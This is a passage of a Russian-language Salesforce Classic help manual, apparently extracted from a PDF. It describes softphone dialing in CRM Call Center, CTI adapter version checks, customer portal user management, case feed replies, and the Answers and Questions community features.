определяется настройками организации или версией инструментария CTI Toolkit, использованной для разработки
программного телефона. Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Использование программного телефона

Удержание вызова с помощью программного телефона

Организация конференц-связи с помощью программного телефона

Переадресация вызова с помощью программного телефона

Обработка данных по вызову с помощью программного телефона
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Выполнение вызова путем набора номера телефона вручную

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выполнения вызова:
• Участник центра

обработки вызовов

Чтобы воспользоваться приложением Salesforce CRM Call Center для набора номера
телефона вручную, выполните указанные ниже действия.

1. Щелкните имя свободной линии в программном телефоне. При этом откроется
соответствующая клавиатура.

2. Чтобы ввести нужный номер телефона, воспользуйтесь нумерованными кнопками
на клавиатуре программного телефона или компьютера.

3. Щелкните «Набор» или нажмите клавишу Enter.

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в
даннойсправочнойсистеме, определяетсянастройкамиорганизациииливерсией
инструментарияCTI Toolkit, использованнойдляразработкипрограммноготелефона.
Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Использование программного телефона

Выполнение вызова с помощью каталога центра обработки вызовов

Выполнение вызова путем набора номера телефона однимщелчком мыши

Выполнение вызова с помощью каталога центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выполнения вызова:
• Участник центра

обработки вызовов

Чтобы воспользоваться приложением Salesforce CRM Call Center для набора номера
телефона с помощью каталога центра обработки вызовов, выполните указанные ниже
действия.

1. Щелкните имя свободной линии в программном телефоне. При этом откроется
соответствующая клавиатура.

2. Чтобы открыть каталог центра обработки вызовов, щелкните значок возле
клавиатуры программного телефона.

3. Чтобы найти нужный номер, воспользуйтесь каталогом.

4. Чтобы автоматически набрать найденный номер на клавиатуре программного
телефона, щелкните имя, связанное с этим номером.

5. Щелкните «Набор» или нажмите клавишу Enter.

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в
даннойсправочнойсистеме, определяетсянастройкамиорганизациииливерсией
инструментарияCTI Toolkit, использованнойдляразработкипрограммноготелефона.
Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Использование программного телефона

Выполнение вызова путем набора номера телефона вручную

Выполнение вызова путем набора номера телефона однимщелчком мыши
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Выполнение вызова путем набора номера телефона однимщелчком мыши

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выполнения вызова:
• Участник центра

обработки вызовов

Чтобы воспользоваться приложением Salesforce CRM Call Center для набора номера
телефона прямо из поля контакта, интереса, действия или организации, выполните
указанные ниже действия.

1. Найдите нужный номер телефона в записи контакта, интереса, действия или
организации.

2. Нажмитекнопку справаотномера. Номербудет автоматическинабраннапервой
свободной линии программного телефона.

• Набранный номер недоступен для повторного выбора в течение 5 секунд.

• Кнопка не отображается напротив номера факса.

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в
даннойсправочнойсистеме, определяетсянастройкамиорганизациииливерсией
инструментарияCTI Toolkit, использованнойдляразработкипрограммноготелефона.
Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Использование программного телефона

Выполнение вызова путем набора номера телефона вручную

Выполнение вызова с помощью каталога центра обработки вызовов

Проверка версии используемого адаптера CTI

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы определить версию адаптера CTI, установленную на компьютере, выполните
указанные ниже действия.

1. Запустите адаптер CTI из области установки. Например, откройте меню «Пуск» и
выберите пункты «Все программы» > «salesforce.com» > «CTI Adapter 2.0» >
«Salesforce Adapter 2.0».

2. Правой кнопкой мышищелкните значок в системной области компьютера.
Системная область расположена возле часов в нижнем правом углу экрана.

3. Выберите пункт «Опрограмме...».

Версия используемого адаптера CTI отображается под параметром «Коннектор
CTI».

Прим.: При использовании адаптера CTI, созданного посредством инструментария CTI Toolkit 4.03, всплывающее
окно отображается в обозревателе Firefox или Chrome. Подключение к приложению Salesforce CRM Call Center
поддерживается только при наличии данного всплывающего окна.

СМ. ТАКЖЕ:

Общие сведения о Call Center

Salesforce CRM Call Center. Требования к системе

Вход в программный телефон
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Отправка ответов на порталах и в веб-сообществах

Просмотр действий в сообществах «Идеи» и «Вопросы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Идеи доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Статистика по действиям (например, количество опубликованных сообщений и
количествополученныхпредпочтенийвсообществах «Идеи»и «Вопросы») отображается
на странице профиля и позволяет другим пользователям просматривать данные об
участнике сообщества.

Чтобыпросмотретьсобственныйпрофиль, щелкнитесобственноеимявлюбойобласти
приложения. При необходимости откройте вкладку «Профиль» или выберите пункты
Имя пользователя  > «Мой профиль» вверху любой страницы. Чтобы просмотреть
профиль другого пользователя, щелкните имя нужного пользователя.

Раздел «Действие сообщества» отображается на вкладке профиля «Общие сведения» и
сравнивает действия пользователя с действиями других участников. Чтобы оценить
действиядругихучастниковсообщества, воспользуйтесьсоответствующимипрофилями.

Ниже перечислены действия, общие количества которых отображаются на странице профиля при использовании
компонента Chatter Answers.
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• Заданные вопросы

• Отвеченные вопросы

• Вопросы, решенные посредством лучшего ответа

Чтобы открыть вкладку «Вопрос и ответ», щелкните ссылку «Вопросы».

Ниже перечислены действия, общие количества которых отображаются на странице профиля при использовании
функции «Репутация» в сообществе «Идеи».

• Созданные идеи

• Полученные комментарии

• Комментарии и идеи, за которые проголосовали

Чтобы открыть вкладку «Идеи», щелкните ссылку «Идеи».

Работа с пользователями клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Прим.: Пользователи массового портала доступны клиентским порталам или
сообществам, предназначенным для большого количества пользователей (от
нескольких тысяч до нескольких миллионов). См. раздел «Общие сведения о
пользователях массового портала» на странице 2691.

Ниже перечислены некоторые типичные задачи по управлению пользователями клиентского портала.

• Настройка клиентского портала для пользователей

• Включение отдельных пользователей клиентского портала на вкладке «Контакты»

• Отключение и деактивация пользователей клиентского портала

• Изменение сведений и ролей пользователей клиентского портала

• Изменение организаций пользователей клиентского портала

• Объединение пользователей клиентского портала

• Восстановление паролей пользователей клиентского портала

• Просмотр лицензий пользователей клиентского портала

• Предоставление пользователям массового портала доступа к записям объекта

• Предоставление пользователям Salesforce общего доступа к записям пользователей массового портала

• Управление полномочиями и параметрами доступа пользователей клиентского портала

• Назначение профилей клиентскому порталу

• Делегирование пользователям портала прав управления пользователями клиентского портала, обращениями и
контактами

• Составление отчетов по пользователям клиентского портала
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Совет: Чтобы устранить неполадки, возникающие в работе пользователей клиентского портала, нажмите кнопку
«Управлениевнешнимпользователем»на страницесведенийоконтактепользователяпорталаивыберитепункт
«Войти на портал в качестве пользователя». Данное действие открывает новое окно обозревателя и выполняет
автоматический вход от имени пользователя портала. Кроме того, данное действие гарантирует правильную
настройку портала.

Кнопка «Войтинапорталвкачествепользователя»доступнатолькоприналичииполномочия «Редактирование
пользователей портала самообслуживания» и уровня доступа «Редактирование» для организации. Кнопка «Войти
на портал в качестве пользователя» отображается только для активных пользователей портала.

Публикация сообщений для обращенийи вопросов сообщества посредством действия «Сообщество»
ленты обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания
сообщений-обращений на
клиентских порталах или в
сообществах:
• «Редактирование» для

обращений

Действие «Сообщество» в ленте обращений используется по умолчанию для отправки
ответов клиентампообращениям, созданнымв сообществеилина клиентскомпортале.

Для публикации сообщений для обращений на клиентском портале или в сообществе:

1. Щелкните «Ответить клиенту» на странице «Лента обращений».

2. Нажмите кнопку и выберите «Сообщество».
Взависимостиотпараметровлентыобращений, заданныхадминистратором, действие
«Сообщество» может быть выбрано без предварительного нажатия кнопки
«Ответить клиенту».

3. Введите текст сообщения для отправки клиенту.

4. При работе над обращением, расширенным из вопроса Chatter Questions или Chatter Answers, выберите аудиторию,
которой должно отображаться сообщение.

• Выберите значение «Только клиенты» для публикации ответа в качестве личного или значение «Каждый» для
публикации ответа в качестве общедоступного.
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• Установите переключатель «Обращение клиента» для отображения сообщения всем внутренним и внешним
пользователям, имеющим доступ к обращению, или «Вопрос сообщества» для публикации общедоступного
ответана вопроспользователя сообщества. Есливывыберитепункт «Обращениеклиента», а вашадминистратор
Salesforce включил поток коллективного обращения, вы создадите сообщение Chatter вместо комментария к
обращению.

5. При необходимости установитефлажок «Отправить эл. почту» для уведомления клиента о публикации ответа на
вопрос в обращении.

Прим.: Данный параметр доступен только в том случае, если включен администратором, а клиент, которому
отправляется ответ, связан с обращениемииспользует действительныйадрес эл. почты. Если вашаорганизация
использует поток общественного обращения и сообщения электронной почты для сообщений обращения
Chatter включены, пользователямавтоматическиотправляетсяуведомлениепоэлектроннойпочтепоихзапросам,
а этот параметр не отображается.

6. Дополнительно вы можете прикрепить статью базы знаний к сообщению.

7. Чтобы опубликовать сообщение, нажмите кнопку.

Прим.: Еслиорганизацияподдерживаетлентуобращенийсообщества, топользователимогутизменятьдоступность
опубликованныхсообщений-обращений. Дополнительныесведениясм. разделеПоказилискрытиеопубликованного
сообщения или сообщения эл. почты в потоке коллективного обращения.

СМ. ТАКЖЕ:

Отправка исходных и ответных сообщений эл. почты из ленты обращений

Общие сведения о ленте обращений

Лента обращений сообщества
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Общие сведения об ответах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Ответы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для голосования за ответы:
• «Чтение» для вопросов

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Терминология функции «Ответы»

Нижеприведенытермины, используемыедляописанияфункциональныхвозможностей
компонента «Ответы».

Ответы
Ответы — этофункцияприложения «Сообщество», котораяпозволяетпользователям
задавать вопросыиполучатьнанихответы. Участникисообществамогутопределять
степеньполезностилюбогоответапутемголосования, а авторвопросаможетвыбрать
лучший ответ.

Лучший ответ
Один из ответов, опубликованных участниками сообщества, может быть выбран
авторомвопросавкачествелучшего. Лучшийответотображаетсяпрямоподвопросом
(над другими ответами). Обычно лучший ответ содержит наиболее ценную
информацию, поэтому позволяет другим участникам сообщества быстро решать
похожие вопросы.

Сообщество
Сообщества — это настраиваемые общедоступные или личные области, позволяющие сотрудникам, клиентам и
партнерам совместно работать над бизнес-процессами и обмениваться приобретенным опытом.

Категория данных для ответов
On the Answers tab, data categories allow users to classify questions in an answers zone. Например, при наличии зоны ответов
для продуктов группы аппаратного обеспечения можно создать следующие категории данных: «Портативные
компьютеры», «Настольные компьютеры» и «Принтеры». Участники зоны могут быстро просматривать отдельные
категории для поиска ответов на вопросы. Администраторы могут использовать категории данных для определения
уровня доступа к вопросам.

Идея
Идеи — этопредположения, опубликованныеучастникамисообществаидейиорганизованныепо зонам. Например,
идеядля зоны, специализирующейсяпотеме «Автомобильныепринадлежности», можетиметь следующийзаголовок:
«Изолированные подстаканники для хранения напитков». Идея для зоны, специализирующейся по теме «Льготы
сотрудников компании», может иметь следующий заголовок: «Корпоративный детский сад».

Вопрос
Вопрос, опубликованный в сообществе ответов. Участники сообщества могут публиковать ответы на заданные
вопросы с целью их решения.

Ответ
Ответ на вопрос в сообществе ответов. Один из ответов, опубликованных участниками сообщества, может быть
выбран автором вопроса в качестве лучшего с целью его решения и закрытия.
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Голос, ответ
Голос в сообществе ответов соответствует положительному или отрицательному мнению об ответе на вопрос.

Зона
Зоны помогают объединять идеи и вопросы в логические группы; каждая зона имеет собственное направление,
уникальные идеи и вопросы.

Описания значков

ОписаниеЗначок

Вопрос, для которого найдено решение. Чтобы присвоить вопросу статус решенного, автор
вопроса должен выбрать лучший ответ.

Вопрос, содержащий ответы участников сообщества. Например, данный значок обозначает
вопрос с 4 ответами. В случае отсутствия ответов данный значок содержит ноль.

Добавление ответа на вопрос.

Ответ на вопрос, признанный лучшим.

Использование ответов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Ответы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для голосования за ответы:
• «Чтение» для вопросов

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Ответы — это функция приложения «Сообщество», которая позволяет пользователям
задавать вопросы и получать на них ответы. Участники сообщества могут определять
степень полезности любого ответа путем голосования, а автор вопроса может выбрать
лучший ответ.

Ниже перечислены действия, доступные на вкладке «Ответы».

• Задать вопрос

• Поиск ответа на вопрос

• Добавление ответа на вопрос

• Голосование за ответ

• Выбор лучшего ответа на вопрос

• Просмотр всех вопросов и ответов

• Преобразование ответа в статью базы знаний

• Расширение вопроса до обращения
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Правая часть начальной страницы ответов содержит моментальный снимок недавних действий, а именно: последние
опубликованные вопросы и ответы, а также вопросы, остающиеся открытыми более недели.

Полномочия «Чтение», «Создание», «Редактирование» и «Удаление» для ответов доступны только администраторам.
Стандартныепользователиипользователипорталамогутудалятьсобственныевопросыиответытольковслучаеотсутствия
ответов или голосов.

СМ. ТАКЖЕ:

Общие сведения об ответах

Добавление вопроса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Ответы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для голосования за ответы:
• «Чтение» для вопросов

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Чтобы задать вопрос, выполните указанные ниже действия.

1. Введите вопрос на вкладке «Ответы» и нажмите кнопку «Задать вопрос!».

Вэтом случае система Salesforce выполняетпоискпо заголовкамиописаниямдругих
вопросов, доступныхвзоне, иотображаетсписокпохожихвопросов. Есливведенный
вопрос уже существует, щелкните заголовок вопроса, чтобы просмотреть ответы,
опубликованные другими участниками зоны.

Чтобы очистить результаты поиска и задать другой вопрос, щелкните ссылку
«Запуск».

2. Если нужный вопрос не найден, нажмите кнопку «Продолжить».

3. Введитеописаниевопроса. Чтобыотформатироватьтекстилизагрузитьизображение,
воспользуйтесь HTML-редактором.

4. Выберите категорию вопроса. Вопросы без категории могут быть недоступны
участникам сообщества, которые должны использовать поиск или просмотр всех
вопросов в сообществе.

5. Нажмите кнопку «Опубликовать вопрос».

После публикации вопроса дождитесь добавления ответов участниками сообщества. Чтобы присвоить вопросу статус
решенного, выберите лучший ответ.

СМ. ТАКЖЕ:

Общие сведения об ответах

Использование ответов

Добавление ответа на вопрос

Расширение вопроса до обращения
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Создание вопросов на вкладке «Вопросы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Вопросы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Прим.: Некоторые поля вопросов, заданные администратором, могут быть
недоступны.

Вкладка «Вопросы» позволяет задавать вопросы управляемым и модерируемым зонам
как в приложении, так и на консоли. Ответы илимнения, опубликованные участниками
сообщества, позволяют быстро оценивать степень их заинтересованности в отдельных
темах и создавать между ними взаимодействия.

Чтобыопубликовать вопрос в сообществона вкладке «Вопросы», выполните указанные
ниже действия.

1. Щелкните «Создать вопрос» на странице спискового представления «Вопросы»
или нажмите кнопку «Создать» в списке «Недавние вопросы» на странице общих
сведений «Вопросы».

2. Выберите нужную зону.

3. Введите заголовок вопроса.

4. При необходимости введите описание вопроса.

Чтобыотформатироватьтекстилизагрузитьизображение, воспользуйтесьредакторомобогащенноготекста. Компания
Salesforce гарантирует корректное отображение только изображенийшириною не более 450 пикселов.

5. Выберите категорию вопроса.

В сообществе отображаются только те вопросы, которым назначена категория. Вопросы, которым не назначена
категория, доступны только ответственным и недоступны другим участникам сообщества.

6. Нажмите кнопку «Сохранить».
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Редактирование и удаление вопроса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
вопросов:
• «Редактирование» для

вопросов

Для удаления вопросов:
• «Удаление» для

вопросов

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Стандартные пользователи могут удалять собственные вопросы только в том случае,
еслиэтивопросынесодержатответов. Вопрос, содержащийответ, неможетбыть удален.
Администраторы Salesforce могут редактировать и удалять любые вопросы,
опубликованныевсообществе. Например, пользовательможетотслеживатьсообщество
ответовиредактироватьилиудалятьвопросы, содержащиенедопустимуюинформацию
или оскорбительную лексику.

Чтобы изменить или удалить вопрос, выполните указанные ниже действия.

1. Чтобы просмотреть страницу сведений о вопросе, щелкните заголовок нужного
вопроса.

2. Нажмите кнопку «Правка» или «Удалить» вверху страницы. При необходимости
изменитезаголовокилиописаниевопросаивыберитедругуюкатегорию. Удаленный
вопрос (и все связанные ответы) перемещается в корзину.

Чтобы предотвратить использование оскорбительной лексики в тексте вопроса,
рекомендуем создать правило проверки, блокирующее ввод определенных слов.

Чтобы создать правила проверки, в разделе параметров управления объектами для ответа на вопрос Ответы Chatter и
Вопросы Chatter перейдите в раздел «Правила проверки».
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Поиск и просмотр вопросов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Ответы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для голосования за ответы:
• «Чтение» для вопросов

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Система salesforce.com поддерживает два способа поиска вопросов.

• Просмотр всех вопросов в сообществе или категории.

• Поиск вопроса с помощью поля поиска на вкладке «Ответы». В этом случае
выполняется поиск по заголовкам и описаниям вопросов и ответов, а затем
отображаются совпадающие результаты.

Чтобыпросмотретьстраницусведенийовопросе, котораясодержитвсеопубликованные
ответы, щелкните заголовок нужного вопроса. Страница сведений о вопросе позволяет
просмотреть количество положительныхи отрицательных голосов для каждого ответа,
а также определяет ответ, признанный лучшим.

Ниже перечислены действия, доступные на странице сведений о вопросе.

• Добавление ответа на вопрос.

• Голосование за ответ.

• Выбор лучшего ответа. Лучший ответ может быть выбран только автором вопроса
или администратором Salesforce.

Чтобы повторно открыть решенный вопрос, нажмите кнопку «Пометить как "Без
ответа"».

• Сортировка ответов.

– «Самое новое»: ответы, опубликованные последними, отображаются вверху списка.

– «Самое давнее»: ответы, опубликованные первыми, отображаются вверху списка.

– «Наибольшее количество голосов»: ответы, получившие наибольшее общее количество положительных и
отрицательных голосов, отображаются вверху списка.

СМ. ТАКЖЕ:

Общие сведения об ответах

Использование ответов
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Просмотр вопросов в зоне или категории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Ответы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для голосования за ответы:
• «Чтение» для вопросов

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Чтобы просмотреть все вопросы, доступные в зоне или категории, откройте вкладку
«Ответы» ищелкните имя нужной зоны или категории, которое отображается в разделе
«Получить ответ».

Просмотр вопросов в зоне

Ниже перечислены действия, доступные при выборе имени зоны.

• Задайте вопрос.

• Чтобы просмотреть только открытые или решенные вопросы, выполните
фильтрацию вопросов. Решенный вопрос — это вопрос, для которого выбран
лучший ответ. Участники сообщества могут продолжать публиковать ответы и
голосовать за ответы для решенных вопросов.

• Чтобы отсортировать вопросы, воспользуйтесь указанными ниже критериями.

– «Недавние действия»: вопросы, содержащие последние ответы, отображаются
вверху списка.

– «Самое новое»: вопросы, заданные последними, отображаются вверху списка.

– «Самое давнее»: вопросы, заданные первыми, отображаются вверху списка.

• Чтобы опубликовать ответ, щелкните ссылку «Ответить» для соответствующего вопроса.

• Чтобы просмотреть все вопросы, связанные с категорией, щелкните имя нужной категории.

Все категории зоны отображаются под именем зоны вверху страницы.

Значки вопроса определяют статус вопроса: решенный или открытый.

Просмотр вопросов в категории

Вопросы, публикуемые участниками сообщества, могут быть связаны с отдельной категорией, упрощающей процесс
поискавопросовв сообществе. Чтобыоткрытьстраницусведенийокатегории, которая содержитвсе связанныевопросы,
щелкните имя нужной категории.

Ниже перечислены области, содержащие имена категорий.

• При просмотре вопроса связанные категории отображаются под описанием.

• При просмотре вопросов зоны все категории зоны отображаются под именем зоны.

• На начальной странице ответов все категории зоны отображаются под именем зоны.

Ниже перечислены действия, доступные на странице сведений о категории.

• Задайте вопрос, который автоматически связывается с просматриваемой категорией.
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• Просмотрите все вопросы, связанные с категорией. Чтобы просмотреть только открытые или решенные вопросы,
выполнитефильтрацию вопросов. Решенный вопрос — это вопрос, для которого выбран лучший ответ. Участники
сообщества могут продолжать публиковать ответы и голосовать за ответы для решенных вопросов.

• Чтобы отсортировать вопросы, воспользуйтесь указанными ниже критериями.

– «Недавние действия»: вопросы, содержащие последние ответы, отображаются вверху списка.

– «Самое новое»: вопросы, заданные последними, отображаются вверху списка.

– «Самое давнее»: вопросы, заданные первыми, отображаются вверху списка.

• Чтобы опубликовать ответ, щелкните ссылку «Ответить» для соответствующего вопроса.

Значки вопроса определяют статус вопроса: решенный или открытый.

СМ. ТАКЖЕ:

Общие сведения об ответах

Добавление ответа на вопрос

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Ответы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для голосования за ответы:
• «Чтение» для вопросов

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Чтобы ответить на вопрос, выполните указанные ниже действия.

• При просмотре списка вопросов в сообществе или категориищелкните ссылку
«Ответить»напротивнужноговопроса. Введитеответинажмитекнопку«Ответить».

• Припросмотре сведенийовопросе введитеответ в текстовоеполеинажмите кнопку
«Ответить».

Ниже перечислены действия, доступные после добавления ответа на вопрос.

• Участники сообщества могут определить степень полезности ответа путем
голосования.

• Автор вопроса может выбрать ответ в качестве лучшего.

СМ. ТАКЖЕ:

Общие сведения об ответах

Голосование за ответ

Выбор лучшего ответа на вопрос

Расширение вопроса до обращения
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Редактирование и удаление ответа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Дляредактированияответов:
• «Редактирование» для

вопросов

Для удаления ответов:
• «Удаление» для

вопросов

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Стандартные пользователи, не имеющие полномочий на редактирование и удаление
ответов, не могут редактировать или удалять свои ответы. Однако администраторы
Salesforce могут редактировать и удалять любые ответы, опубликованные в сообществе.
Например, пользователь может отслеживать сообщество ответов и редактировать или
удалятьответы, содержащиенедопустимуюинформациюилиоскорбительнуюлексику.

Чтобы изменить или удалить ответ, выполните указанные ниже действия.

1. Чтобы просмотреть все полученные ответы, щелкните заголовок нужного вопроса.

2. Чтобы изменить или удалить ответ, щелкните ссылку «Правка» или «Удалить»
напротив нужного ответа. Удаленный ответ перемещается в корзину.

Чтобы предотвратить использование оскорбительной лексики в тексте ответа,
рекомендуем создать правило проверки, блокирующее ввод определенных слов.

Чтобысоздатьправилапроверки, вразделепараметровуправленияобъектамидляответа
на вопрос Ответы Chatter и Вопросы Chatter перейдите в раздел «Правила проверки».
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Голосование за ответ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Ответы»:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Для голосования за ответы:
• «Чтение» для вопросов

